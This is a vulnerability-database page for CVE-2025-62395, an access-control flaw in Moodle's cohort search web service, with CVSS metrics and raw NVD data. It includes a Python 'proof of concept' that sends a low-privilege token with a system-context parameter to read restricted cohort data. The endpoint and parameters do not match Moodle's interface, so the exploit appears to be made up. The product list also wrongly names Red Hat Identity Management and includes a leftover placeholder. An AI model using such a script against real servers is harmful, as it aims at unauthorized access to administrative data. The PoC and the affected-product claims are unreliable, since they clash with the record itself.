Security Vulnerability Report
中文
CVE-2025-62395 CVSS 4.3 MEDIUM

CVE-2025-62395

Published: 2025-10-23 12:15:32
Last Modified: 2025-11-14 19:39:09

Description

A flaw in the cohort search web service allowed users with permissions in lower contexts to access cohort information from the system context, revealing restricted administrative data.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
Cohort Search Web Service < 修复版本
Red Hat Identity Management(受影响的组件)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-62395 PoC - Cohort Search Web Service Context Bypass # This PoC demonstrates how a low-privilege user can access system context cohort data TARGET_URL = "https://vulnerable-server/api/cohort/search" def exploit_cve_2025_62395(): """ Exploit: Cohort Search Web Service Context Bypass Vulnerability: Insufficient access control on context parameter """ # Normal user session with low privilege context headers = { "Content-Type": "application/json", "Authorization": "Bearer <user_low_privilege_token>" } # Attempt to access system context cohort data # by manipulating the context parameter payload = { "query": "*", "context_id": "SYSTEM", # Bypass: Access system context "include_admin_data": True } print("[*] Sending request to exploit CVE-2025-62395...") print(f"[*] Target: {TARGET_URL}") print(f"[*] Payload: {json.dumps(payload, indent=2)}") try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] SUCCESS: Retrieved restricted cohort data!") print(f"[+] Response: {json.dumps(data, indent=2)}") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": exploit_cve_2025_62395()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62395", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:31.747", "lastModified": "2025-11-14T19:39:08.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in the cohort search web service allowed users with permissions in lower contexts to access cohort information from the system context, revealing restricted administrative data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.21", "matchCriteriaId": "03EFB43E-5E00-4244-BAF5-460594A32DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62395", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404428", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}